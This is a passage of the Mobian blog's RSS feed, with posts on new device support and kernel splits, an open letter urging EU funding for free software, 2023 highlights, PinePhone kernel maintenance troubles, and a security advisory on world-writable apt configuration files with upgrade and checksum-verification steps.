&lt;a href=&#34;https://gitlab.postmarketos.org/postmarketOS/q6voiced/-/merge_requests/6&#34;&gt;fixes&lt;/a&gt; and
&lt;a href=&#34;https://gitlab.postmarketos.org/postmarketOS/bootmac/-/merge_requests/12&#34;&gt;improvements&lt;/a&gt;
in the process&lt;/li&gt;
&lt;li&gt;improve &lt;a href=&#34;https://gitlab.com/mobian1/droid-juicer&#34;&gt;droid-juicer&lt;/a&gt; and add
configurations for new devices so we can keep not worrying about distributing
proprietary firmware blobs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One of the most significant results of those efforts is of course that new
devices are now supported in Mobian: the Fairphone 5 and Pixel 3a (XL), the
latter having proved to be usable as a daily driver for several people, thanks
to generally-working audio (including phone calls, if you&amp;rsquo;re lucky enough), a
fairly good battery life and kinda-functioning cameras.&lt;/p&gt;
&lt;p&gt;Another important improvement is that generating Mobian images for unsupported
(for now) Qualcomm-based devices is now easier than it has ever been (as long
as a mainline-based kernel exists for said devices): using the
&lt;a href=&#34;https://salsa.debian.org/Mobian-team/mobian-recipes/-/merge_requests/102&#34;&gt;qcom-wip&lt;/a&gt;
device type, one can &amp;ldquo;simply&amp;rdquo; drop the downstream kernel&amp;rsquo;s &lt;code&gt;.deb&lt;/code&gt; package as
well as a &lt;code&gt;droid-juicer&lt;/code&gt; configuration file to the relevant folders and build
the image, with decent chances that it will actually boot once flashed to the
device.&lt;/p&gt;
&lt;p&gt;More detailed instructions are being written and will hopefully be posted to
the &lt;a href=&#34;https://wiki.debian.org/Mobian/Devices&#34;&gt;Debian Wiki&lt;/a&gt; in the near future.&lt;/p&gt;
&lt;h3 id=&#34;on-universal-kernels&#34;&gt;On &amp;ldquo;universal&amp;rdquo; kernels&lt;/h3&gt;
&lt;p&gt;As you might remember, we aim for Mobian to ship
&lt;a href=&#34;https://blog.mobian.org/posts/2022/03/30/universal-images/&#34;&gt;universal images&lt;/a&gt;, that is, images that can
run on all supported devices. This requires first having a &amp;ldquo;universal&amp;rdquo; kernel,
holding all the patches needed for all supported devices. As this is way more
complex than it may sound, we started by offering a single kernel for all
Qualcomm-based devices.&lt;/p&gt;
&lt;p&gt;However, when looking into adding support for SDM670-based devices (Pixel 3a),
we faced the fact that some of the patches required for those would conflict
with patches needed for SDM845-based devices. We then had to resolve to
shipping a different kernel for the Pixel 3a, realizing that our plan to ship
a unified kernel would be only get harder to implement as we would add support
for more devices.&lt;/p&gt;
&lt;p&gt;More recently, we found out that patches required for SC7280-based devices
(Fairphone 5, and possibly the Nothing Phone in the near future) would break
display support on SDM845 devices, and had to split SC7280 support into its own
separate kernel, putting the final nail in the coffin of our &amp;ldquo;universal kernel&amp;rdquo;
dream.&lt;/p&gt;
&lt;p&gt;In the end, our formerly-generic
&lt;a href=&#34;https://salsa.debian.org/Mobian-team/devices/kernels/qcom-linux&#34;&gt;qcom-linux&lt;/a&gt;
kernel now only support SDM845 and SM6350 (Fairphone 4) devices, a situation
only full upstreaming of device support will be able to improve over time.&lt;/p&gt;
&lt;h3 id=&#34;whats-coming-up-next&#34;&gt;What&amp;rsquo;s coming up next?&lt;/h3&gt;
&lt;p&gt;At this point, we&amp;rsquo;re already pretty happy with how things evolved throughout
2024 and in the first weeks of 2025. Our focus will now be on fixing as many
bugs as possible in preparation for the Trixie release expected next summer.&lt;/p&gt;
&lt;p&gt;Unfortunately, we barely made any progress on our
&lt;a href=&#34;https://blog.mobian.org/posts/2024/01/08/highlights-of-2023/#2024-roadmap&#34;&gt;2024 roadmap&lt;/a&gt; items, but
choices had to be made due to the (limited) bandwidth of our developers. This
doesn&amp;rsquo;t mean we no longer have interest in those, but rather that we&amp;rsquo;ll likely
address them only once we have the next stable release out.&lt;/p&gt;
&lt;p&gt;On the plus side, Mobian will be participating in this year&amp;rsquo;s &amp;ldquo;Google Summer Of
Code&amp;rdquo; through its parent project Debian. Our proposal, aimed at improving
&lt;a href=&#34;https://wiki.debian.org/SummerOfCode2025/ApprovedProjects/DeviceTweaksManagement&#34;&gt;device tweaks management&lt;/a&gt;
in Debian, has been approved and is only waiting for the right candidate(s),
so feel free to drop us a line and/or join us on
&lt;a href=&#34;https://matrix.to/#/#mobian-dev:matrix.org&#34;&gt;#mobian-dev:matrix.org&lt;/a&gt; if you&amp;rsquo;re
interested!&lt;/p&gt;
&lt;p&gt;Finally, several Mobian developers plan to attend
&lt;a href=&#34;https://debconf25.debconf.org/&#34;&gt;DebConf &amp;lsquo;25&lt;/a&gt; in Brest, France, spreading the
Mobile Linux gospel to fellow Debian developers. Maybe we&amp;rsquo;ll get to meet some
of you there as well?&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The European Union must keep funding free software</title>
      <link>https://blog.mobian.org/posts/2024/07/19/open-letter-eu/</link>
      <pubDate>Fri, 02 Aug 2024 01:17:30 +0200</pubDate>
      
      <guid>https://blog.mobian.org/posts/2024/07/19/open-letter-eu/</guid>
      <description>&lt;p&gt;Multiple Linux mobile related projects
(such as e.g. &lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt; or &lt;a href=&#34;https://phosh.mobi&#34;&gt;phosh&lt;/a&gt;)
have benefited from the NGI funding.&lt;/p&gt;
&lt;p&gt;The following is an open letter initially published in French by the
&lt;a href=&#34;https://ps.zoethical.org/pub/lettre-publique-aux-ncp-au-sujet-de-ngi/&#34;&gt;Petites Singularités&lt;/a&gt; association.
An english translation is provided by
&lt;a href=&#34;https://www.ow2.org/view/Events/The_European_Union_must_keep_funding_free_software_open_letter&#34;&gt;OW2&lt;/a&gt;.
To co-sign it, please publish it on your website in your preferred language,
then add yourself to &lt;a href=&#34;https://pad.public.cat/lettre-NCP-NGI#Signataires--Signatories&#34;&gt;this table&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;open-letter-to-the-european-commission&#34;&gt;Open Letter to the European Commission&lt;/h2&gt;
&lt;p&gt;Since 2020, Next Generation Internet (&lt;a href=&#34;https://www.ngi.eu&#34;&gt;NGI&lt;/a&gt;) programmes,
part of European Commission&amp;rsquo;s Horizon programme,
fund free software in Europe using a cascade funding mechanism
(see for example NLnet&amp;rsquo;s &lt;a href=&#34;https://www.nlnet.nl/commonsfund&#34;&gt;calls&lt;/a&gt;).
This year, according to the Horizon Europe working draft detailing funding programmes for 2025,
we notice that Next Generation Internet is not mentioned any more as part of Cluster 4.&lt;/p&gt;
&lt;p&gt;NGI programmes have shown their strength and importance to supporting the European software infrastructure,
as a generic funding instrument to fund digital commons and ensure their long-term sustainability.
We find this transformation incomprehensible,
moreover when NGI has proven efficient and economical to support free software as a whole,
from the smallest to the most established initiatives.
This ecosystem diversity backs the strength of European technological innovation,
and maintaining the NGI initiative to provide structural support
to software projects at the heart of worldwide innovation
is key to enforce the sovereignty of a European infrastructure.
Contrary to common perception,
technical innovations often originate from European
rather than North American programming communities,
and are mostly initiated by small-scaled organizations.&lt;/p&gt;
&lt;p&gt;Previous Cluster 4 allocated 27 million euros to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;Human centric Internet aligned with values and principles commonly shared in Europe&amp;rdquo; ;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;A flourishing internet, based on common building blocks created within NGI,
that enables better control of our digital life&amp;rdquo; ;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;A structured ecosystem of talented contributors driving the creation of new internet commons
and the evolution of existing internet commons&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the name of these challenges,
more than 500 projects received NGI funding in the first 5 years,
backed by 18 organisations managing these European funding consortia.&lt;/p&gt;
&lt;p&gt;NGI contributes to a vast ecosystem,
as most of its budget is allocated to fund third parties by the means of open calls,
to structure commons that cover the whole Internet scope&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;from hardware to application, operating systems, digital identities or data traffic supervision.
This third-party funding is not renewed in the current program,
leaving many projects short on resources for research and innovation in Europe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moreover, NGI allows exchanges and collaborations
across all the Euro zone countries as well as &amp;ldquo;widening countries&amp;rdquo; &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;,
currently both a success and an ongoing progress,
likewise the Erasmus programme before us.
NGI also contributes to opening and supporting longer relationships than strict project funding does.
It encourages implementing projects funded as pilots, backing collaboration,
identification and reuse of common elements across projects,
interoperability in identification systems and beyond,
and setting up development models that mix diverse scales and types of European funding schemes.&lt;/p&gt;
&lt;p&gt;While the USA, China or Russia deploy huge public and private resources
to develop software and infrastructure that massively capture private consumer data,
the EU can&amp;rsquo;t afford this renunciation.
Free and open source software,
as supported by NGI since 2020,
is by design the opposite of potential vectors for foreign interference.
It lets us keep our data local and favors a community-wide economy and know-how,
while allowing an international collaboration.&lt;/p&gt;
&lt;p&gt;This is all the more essential in the current geopolitical context:
the challenge of technological sovereignty is central,
and free software allows to address it
while acting for peace and sovereignty in the digital world as a whole.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;As defined by Horizon Europe, widening Member States are Bulgaria, Croatia, Cyprus,
the Czech Republic, Estonia, Greece, Hungary, Latvia, Lituania, Malta, Poland, Portugal,
Romania, Slovakia and Slovenia. Widening associated countries
(under condition of an association agreement) include Albania, Armenia, Bosnia,
Feroe Islands, Georgia, Kosovo, Moldavia, Montenegro, Morocco, North Macedonia, Serbia,
Tunisia, Turkey and Ukraine. Widening overseas regions are : Guadeloupe, French Guyana,
Martinique, Reunion Island, Mayotte, Saint-Martin, The Azores, Madeira, the Canary Islands.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Highlights of 2023</title>
      <link>https://blog.mobian.org/posts/2024/01/08/highlights-of-2023/</link>
      <pubDate>Sun, 14 Jan 2024 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2024/01/08/highlights-of-2023/</guid>
      <description>&lt;p&gt;Time flies when you are having fun. 2023 was no exception, and we find ourselves in 2024 already! Time to take stock what happened last year (and perhaps also what we attempt to achieve this year).&lt;/p&gt;
&lt;h3 id=&#34;bookworm-release&#34;&gt;Bookworm release&lt;/h3&gt;
&lt;p&gt;It is safe to say that the &lt;a href=&#34;https://blog.mobian.org/posts/2023/06/10/bookworm/&#34;&gt;bookworm release&lt;/a&gt; was a major milestone for Mobian. For the first time, we have a stable release that we find to actually be useful on a mobile screen and phone. Putting out stable images was quite some work but we are proud of it.&lt;/p&gt;
&lt;p&gt;We had decided to move on and focus on the next development cycle rather than starting to backporting features and releases. So bookworm continues to receive security updates, but no new features. Still, it might be a useful stable base for people who do not like to break their phone that often. By using flatpak and other means, one can even use actual releases of apps and not miss out on the latest hotness.&lt;/p&gt;
&lt;h3 id=&#34;app-ecosystem&#34;&gt;App ecosystem&lt;/h3&gt;
&lt;p&gt;The ecosystem of applications suitable for mobile screen continued to grow in 2023, filling many important functionality gaps. That includes core GNOME apps included in the distribution that became ported to work better on small screens, to an external ecosystem of applications that can be installed via flatpak or other means. Whether you want to &lt;a href=&#34;https://flathub.org/apps/xyz.slothlife.Jogger&#34;&gt;track your jogging tracks&lt;/a&gt;, travel via &lt;a href=&#34;https://packages.debian.org/trixie/railway-gtk&#34;&gt;public transportation&lt;/a&gt;, or &lt;a href=&#34;https://packages.debian.org/trixie/tuba&#34;&gt;toot on social media&lt;/a&gt;, many puzzle pieces start to fall into place.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://linuxphoneapps.org/&#34;&gt;https://linuxphoneapps.org/&lt;/a&gt; gives you a great overview of what exists within and outside of distributions. (and yes, there is active Debianization of some apps going on, such as the &amp;ldquo;railway&amp;rdquo; application which went into Debian just now.&lt;/p&gt;
&lt;h3 id=&#34;shrinking-mobian&#34;&gt;Shrinking Mobian&lt;/h3&gt;
&lt;p&gt;Despite all that growth we managed to shrink the packages that are in the &lt;a href=&#34;https://packages.mobian.org/&#34;&gt;mobian repository&lt;/a&gt; even more over time. As you know, Mobian is nothing but a thin overlay over stock Debian (the regular Debian repository with its updates is a core pillar of Mobian), and it is declared goal of Mobian to abolish itself by upstreaming all deviations and changes to Debian proper.&lt;/p&gt;
&lt;p&gt;This work has continued in 2023, and many of the Mobian developers are also &lt;a href=&#34;https://lists.debian.org/debian-project/2022/06/msg00019.html&#34;&gt;official&lt;/a&gt; &lt;a href=&#34;https://nm.debian.org/person/devrtz/&#34;&gt;Debian&lt;/a&gt; &lt;a href=&#34;https://nm.debian.org/person/undef/&#34;&gt;developers&lt;/a&gt; and maintainers, continuing to maintain packages in Debian.&lt;/p&gt;
&lt;p&gt;While we might never manage to cease to exist, we are making sure that Mobian is as slim as possible and as aligned to Debian and its core values as possible.&lt;/p&gt;
&lt;h3 id=&#34;fosdem-2023--distro-collaborations&#34;&gt;FOSDEM 2023 &amp;amp; Distro Collaborations&lt;/h3&gt;
&lt;p&gt;The biggest true community event in the FOSS world is undoubtedly FOSDEM, and we were very much present there in 2023. It was the first time that many developers got to see each other for the first time. Nothing bonds as much as the collaborative intake of beverages of ones choice.&lt;/p&gt;
&lt;p&gt;Also, we had a very successful developer room on &amp;ldquo;FOSS on Mobile devices&amp;rdquo; which showed the incredible interest in topics close to our heart. In 2024, there will even be a full-day developer room on the same topic, check &lt;a href=&#34;https://fosdem.org/2024/schedule/track/foss-on-mobile-devices/&#34;&gt;the schedule&lt;/a&gt; in case you are interested.&lt;/p&gt;
&lt;p&gt;Another thing happening at FOSDEM is that Mobian people got to know developers of other projects much better. Notably, meeting people working on PureOS (and Purism support) as well as postmarketOS developers was quite interesting and fun. This led to collaboration and friendship. And hey, Mobian developers were extensively featured in a &lt;a href=&#34;https://cast.postmarketos.org/episode/35-Interview-a-wai-devrtz-kop316-Mobian/&#34;&gt;postmarketOS podcast episode&lt;/a&gt; if you need any audible proof of that! We also shared a stand with many other distros and way too many devices on too little cramped space. The resulting mayhem was messy, creative and fun and we were overwhelmed by the interest of the FOSDEM public. It very much showed how many &lt;del&gt;competing&lt;/del&gt; organizations can work together to achieve a common goal.&lt;/p&gt;
&lt;p&gt;Perhaps this is the right time to give a shoutout to PureOS and pmOS anyway, these people are helping to push towards a common (public) good. PureOS publishes its patches on top of upstream projects in a format that allows others to easily adopt them and actively pushes changes upstream. pmOS is super helpful with a &amp;ldquo;fix upstream first&amp;rdquo; attitude, so that everyone benefits from fixes. We hope to continue to have such a great time with our &amp;ldquo;competition&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;environment-friendly&#34;&gt;Environment friendly&lt;/h3&gt;
&lt;p&gt;While phosh and many of the GNOME ecosystem applications are the default environment that we rely on, we would like to cater to fans of other environments as well. As such it is great to see that progress has been made for both the Plasma Mobile and SXMO packaging. With support of other Debian developers, both environments are usable and selectible from the login screen in Mobian. There are still rough edges, but we are slowly getting there.&lt;/p&gt;
&lt;h3 id=&#34;fresh-kernels&#34;&gt;Fresh kernels!&lt;/h3&gt;
&lt;p&gt;We managed to rebase the kernel for our supported hardware to Linux 6.6 in Trixie. This was not an easy task, giving all the ongoing work. Especially on sunxi64 (the OG pinephone kernel) it needed lots of work. Shoutout to Andrey Skvortsov for his efforts!&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re on staging you may have also noticed new kernels coming through much more regularly.
After the 1000th time rebasing on an upstream stable release we decided that the mix of manual work
and ad-hoc scripts we had should be made official, and where better than our own Mobot!&lt;/p&gt;
&lt;p&gt;Now each upstream release is automatically downloaded, verified, patched and released directly to staging,
allowing Mobian developers to focus on other things, like packaging applications and upstreaming these patches away.&lt;/p&gt;
&lt;h2 id=&#34;2024-roadmap&#34;&gt;2024 Roadmap&lt;/h2&gt;
&lt;p&gt;Now that we have looked at our accomplishements of the last year, it is worth peeking into our crystal ball to see what we would love to do in 2024. There is another release freeze looming at the end of 2024. So basically, what we achieve in 2024 will determine how Trixie is going to look like.&lt;/p&gt;
&lt;p&gt;Some of the things we are aiming for are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A runtime-based tweaks management&lt;/p&gt;
&lt;p&gt;Which would allow us to use a unified image and packages for hardware with different requirements and configurations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Get all device-agnostic packages into Debian (tweaks, meta&amp;hellip;); use Debian kernel wherever possible&lt;/p&gt;
&lt;p&gt;Reduce the mobian-specific footprint even more. This might not be feasible for the kernel of all hardware, but perhaps for some.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improve upstream PipeWire &amp;amp; WirePlumber for call audio&lt;/p&gt;
&lt;p&gt;Pipewire is the future and Wireplumber likely needs to do some of the things we have hacked up callaudiod for now.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;More upstreaming of patches are eg. in the area of audio alsa UCM configs and kernel patches.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It would be awesome to create a single installer image for all Linux-first devices, so we don&amp;rsquo;t have to create installers for each device.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lastly, the on-screen keyboard osk-sdl needs to be fully and cleanly replaced by unl0kr with a good transition path between these.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are all lofty plans though, and will obviously depend on (wo)manpower, spare time and external factors and developments. So no guarantees will be made. One needs to have goals though&amp;hellip;&lt;/p&gt;
&lt;p&gt;Happy 2024 everyone, let&amp;rsquo;s keep rocking the thing!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The Paperweight Dilemma</title>
      <link>https://blog.mobian.org/posts/2023/09/30/paperweight-dilemma/</link>
      <pubDate>Tue, 10 Oct 2023 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/09/30/paperweight-dilemma/</guid>
      <description>&lt;p&gt;Mobian started as a hobby project, triggered by the excitement of finally being
able to hack one&amp;rsquo;s mobile phone at will. It is fair to say that the device that
made it possible back then was the original
&lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt;. However, after running once
again into the same difficulties we experienced over and over, we&amp;rsquo;re wondering
whether maintaining support for this device is still worth the effort&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;of-kernels-and-men&#34;&gt;Of kernels and men&lt;/h3&gt;
&lt;p&gt;In the beginning, the mobile Linux world was full of happy people, hacking on
many different aspects of the system in a very disorganized but fruitful way,
one of those aspects being the Linux kernel. Back then there was a single
reference source tree, maintained under the
&lt;a href=&#34;https://gitlab.com/pine64-org/&#34;&gt;PINE64 umbrella&lt;/a&gt; (but still being a community
effort, no one being funded in any way to work on this kernel).&lt;/p&gt;
&lt;p&gt;Things were obviously not ideal, however many talented people were talking to
each other, trying to improve hardware support and fix the many bugs we were
experiencing at this point. Until, I don&amp;rsquo;t quite remember how, it all turned
into a race, in which the goal was to have better (or at least identical)
support than the neighbouring projects.&lt;/p&gt;
&lt;p&gt;In particular, one very skilled developer set to solve many of the problems we
had back then, and published their work as a separate repo. Several mobile
distributions quickly switched to this kernel, effectively abandoning the
shared kernel source we were all using until then. This resulted in a loss of
interest and, ultimately, collaboration on the kernel ceased: some ended up
using megi&amp;rsquo;s kernel directly, while Mobian forked the &amp;ldquo;Pine64&amp;rdquo; one and
cherry-picked interesting patches from megi&amp;rsquo;s tree, but it all happened without
further cross-distro discussions.&lt;/p&gt;
&lt;p&gt;Our single reference tree was then left rotting (the last kernel compatible
with the PinePhone being based on 5.9, which was released nearly 3 years ago!)
and unmaintained since then.&lt;/p&gt;
&lt;h3 id=&#34;a-single-point-of-failure&#34;&gt;A single point of failure&lt;/h3&gt;
&lt;p&gt;The end result can be summed up as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;those relying on megi&amp;rsquo;s kernel depend on them to update and/or improve it&lt;/li&gt;
&lt;li&gt;Mobian carries a bunch of patches we don&amp;rsquo;t really understand, some of those
being dirty hacks just good enough to &amp;ldquo;make things work&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So basically, the whole community set up a single point of failure when it
comes to the original PinePhone&amp;rsquo;s kernel. To be fair, this didn&amp;rsquo;t happen
overnight, and we could have taken different decisions at various moments,
leading to a better situation. megi also never asked for this responsibility,
nor did they ever commit to ensuring long-term support for the whole community.&lt;/p&gt;
&lt;p&gt;On the Mobian side, we did (and still do) our best to maintain our own kernel
and rebase the patches we carry on (at least) each LTS release. This proved to
be a complex task, and we repeatedly ran into the same issues over and over
again:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;some patches wouldn&amp;rsquo;t apply at all due to major upstream changes&lt;/li&gt;
&lt;li&gt;once all patches applied cleanly, the resulting kernel couldn&amp;rsquo;t be built
anymore due to internal API changes&lt;/li&gt;
&lt;li&gt;simple, dirty hacks would stop solving the problem they were meant to fix
(and sometimes ended up creating whole new issues)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We usually ended up browsing through megi&amp;rsquo;s git history, finding a new (or
modified) patch fixing the problem for us, further increasing our dependency on
a single person.&lt;/p&gt;
&lt;h3 id=&#34;the-mainline-based-kernel-myth&#34;&gt;The &amp;ldquo;mainline-based kernel&amp;rdquo; myth&lt;/h3&gt;
&lt;p&gt;So, what does &amp;ldquo;mainline-based&amp;rdquo; really mean? In our community, that&amp;rsquo;s a kernel
carrying a &lt;em&gt;reasonable&lt;/em&gt; amount of patches (with no clear definition of this
reasonable amount) and based on a recent enough upstream kernel (usually that
means &amp;ldquo;not older than the latest LTS version&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;Contrary to Android vendor kernels, they can be relatively easily updated to
the newest kernel releases, but like all downstream forks, this can only be
done manually by &lt;em&gt;someone&lt;/em&gt; with enough skills to complete this task.&lt;/p&gt;
&lt;p&gt;As such, a mainline-based kernel doesn&amp;rsquo;t provide any more guarantee than any
other downstream fork of any project, certainly not the guarantee that it will
always be updated to the latest stable and/or LTS kernel. This guarantee can
only be obtained by fully upstreaming hardware support, and it still requires
some maintenance effort, even if this effort is significantly reduced.&lt;/p&gt;
&lt;p&gt;Upstreaming patches require 3 elements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the interest to push patches there&lt;/li&gt;
&lt;li&gt;the skills to understand the patch(es) one is upstreaming, so they can
address the comments and requests for improvements they receive after posting
the patches&lt;/li&gt;
&lt;li&gt;the time to rebase the patches on top of the latest upstream commit, prepare
the submission and engage in constructive discussions with the reviewers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When it comes to the original PinePhone, the upstreaming effort has pretty much
completely stalled by now, as it seems no one in our community possesses all of
those elements.&lt;/p&gt;
&lt;h3 id=&#34;giving-up&#34;&gt;Giving up?&lt;/h3&gt;
&lt;p&gt;megi&amp;rsquo;s recent decision of shutting down their GitHub account and blocking pulls
from their self-hosted git repos has made our work more difficult; we&amp;rsquo;re also
becoming more and more tired of &amp;ldquo;losing&amp;rdquo; our time in those endless kernel
upgrades for this particular device.&lt;/p&gt;
&lt;p&gt;As of today, it appears very few of the Mobian developers are willing to keep
maintaining our &lt;a href=&#34;https://salsa.debian.org/Mobian-team/devices/kernels/sunxi64-linux/&#34;&gt;sunxi64-linux&lt;/a&gt;
kernel, meaning it could be stuck on the 6.1 branch forever.&lt;/p&gt;
&lt;p&gt;We are therefore considering dropping support for both the original PinePhone
and PineTab once the current kernel branch reaches end-of-life, ultimately
turning those devices into high-tech paperweights.&lt;/p&gt;
&lt;p&gt;No decision has been made yet, but this matter is being actively discussed.
Even if a Mobian contributor were to commit to maintaining this kernel (which
still seems very likely at this point), we would once again be relying on a
single person and support for those devices should still be considered in &amp;ldquo;life
support&amp;rdquo; state. That is, unless there is a larger-scale, community-wide effort to
upstream more (most?) of the required patches&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;appendix-i-we-hold-no-grudge&#34;&gt;Appendix I: We hold no grudge&lt;/h3&gt;
&lt;p&gt;While megi has been mentioned numerous times in this post, we don&amp;rsquo;t hold any
grudge against them: they already did a lot to help all of us. They should
actually be thanked for that, and we have to respect every single decision they
made, even those that made us uncomfortable. They never had any obligation
towards this community, and did way more than they had to.&lt;/p&gt;
&lt;p&gt;One could argue that the community at large is responsible for not attempting
to upstream more and instead &amp;ldquo;simply&amp;rdquo; accepting the fact that the bus factor
for the hardware support on a couple devices equals one. And we would be to
blame as well, as the choices we made were equally bad.&lt;/p&gt;
&lt;h3 id=&#34;appendix-ii-what-about-other-devices&#34;&gt;Appendix II: What about other devices?&lt;/h3&gt;
&lt;p&gt;We do hope this scenario won&amp;rsquo;t repeat for other devices, and have good reasons
to keep hoping: apart from Rockchip-based devices (PinePhone Pro and PineTab
2), the kernels we ship are maintained by multiple-persons communities and/or
developers whose work is backed and funded by their employer. Those developers
also have a strong interest in upstreaming their work and demonstrated both
their ability to do so over the past months/years. As long as they keep up
their great work, upstream support for those devices will only improve over
time, ensuring we can still use the latest kernels for those.&lt;/p&gt;
&lt;p&gt;Our kernel for Rockchip devices includes fewer patches than the PinePhone one,
and patches we &lt;em&gt;mostly&lt;/em&gt; understand and can rework if needed (and maybe even
submit upstream!). The PinePhone Pro also triggered more interest across
various communities than its predecessor, leading to more developers actively
trying to upstream support for this device (the
&lt;a href=&#34;https://libcamera.org&#34;&gt;libcamera&lt;/a&gt; developers, for example, having done a great
job at improving drivers for the camera sensors).&lt;/p&gt;
&lt;p&gt;As a consequence, we do believe and hope the issues we&amp;rsquo;re facing with the
original PinePhone can be avoided for other devices, provided the community as
a whole keeps working towards better upstream support for all mobile devices.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Mobian Security Update #1</title>
      <link>https://blog.mobian.org/posts/2023/08/31/mobian-bookworm-security-update/</link>
      <pubDate>Thu, 31 Aug 2023 02:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/08/31/mobian-bookworm-security-update/</guid>
      <description>&lt;p&gt;The Mobian Team have recently released a security update fixing a &lt;strong&gt;local&lt;/strong&gt; vulnerability caused
by a bug in our Bookworm images.&lt;/p&gt;
&lt;h3 id=&#34;user-action-required&#34;&gt;User Action Required&lt;/h3&gt;
&lt;p&gt;Mobian users must install the following package in order to address the issues described in this post.
A normal upgrade which can be done using &lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade&lt;/code&gt; or via Gnome Software
will take care of this.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Bookworm users:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mobian-tweaks-common&lt;/code&gt;, version 0.5.6+deb12u1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For Trixie and Staging users:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mobian-tweaks-common&lt;/code&gt;, version 0.5.9&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These packages include an install script which fixes the permissions on the effected files. They are currently
in the &lt;code&gt;staging&lt;/code&gt; and &lt;code&gt;bookworm-updates&lt;/code&gt; repositories and will migrate to &lt;code&gt;trixie&lt;/code&gt; and &lt;code&gt;bookworm&lt;/code&gt;
in the coming week.&lt;/p&gt;
&lt;h3 id=&#34;summary&#34;&gt;Summary&lt;/h3&gt;
&lt;p&gt;The Bookworm images released earlier this year had a small number of files with global
write permissions. As two of these files manage the configuration of the &lt;code&gt;apt&lt;/code&gt; package
manager, they provide an attacker with a useful privilege escalation method.&lt;/p&gt;
&lt;p&gt;This issue seems to only affect the released Bookworm images, though a full audit of weekly
images has not been undertaken. Users who installed on Trixie were likely never effected.&lt;/p&gt;
&lt;h3 id=&#34;impact&#34;&gt;Impact&lt;/h3&gt;
&lt;p&gt;These files could allow a local user to gain root access to the device
by modifying them and waiting for the user to install an attacker provided update. This attack
would require access to an unlocked or otherwise already compromised device as a standard user.&lt;/p&gt;
&lt;p&gt;There is no way to carry this attack out remotely or on a locked device.&lt;/p&gt;
&lt;h3 id=&#34;indicators-of-compromise&#34;&gt;Indicators of Compromise&lt;/h3&gt;
&lt;p&gt;Users can verify the current configuration of their system by checking the relevant files.
Changes to these files to not immediately mean the device has been compromised, but may warrant
further investigation.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt; should contain (potentially with a different distribution):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;deb http://repo.mobian.org/ &amp;lt;distribution&amp;gt; main non-free-firmware
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;/etc/apt/trusted.gpg.d/mobian.gpg&lt;/code&gt; can be verified using the command &lt;code&gt;shasum -c checksum.txt&lt;/code&gt; aganist the following checksum file:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;4ab90ff82a88f11f681e5e857503833eb2108c9a77edaa9f64b7648c1b91c60a  /etc/apt/trusted.gpg.d/mobian.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;credit&#34;&gt;Credit&lt;/h3&gt;
&lt;p&gt;Our thanks go to @Ove for discovering and reporting the issue.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Bookworm has landed!</title>
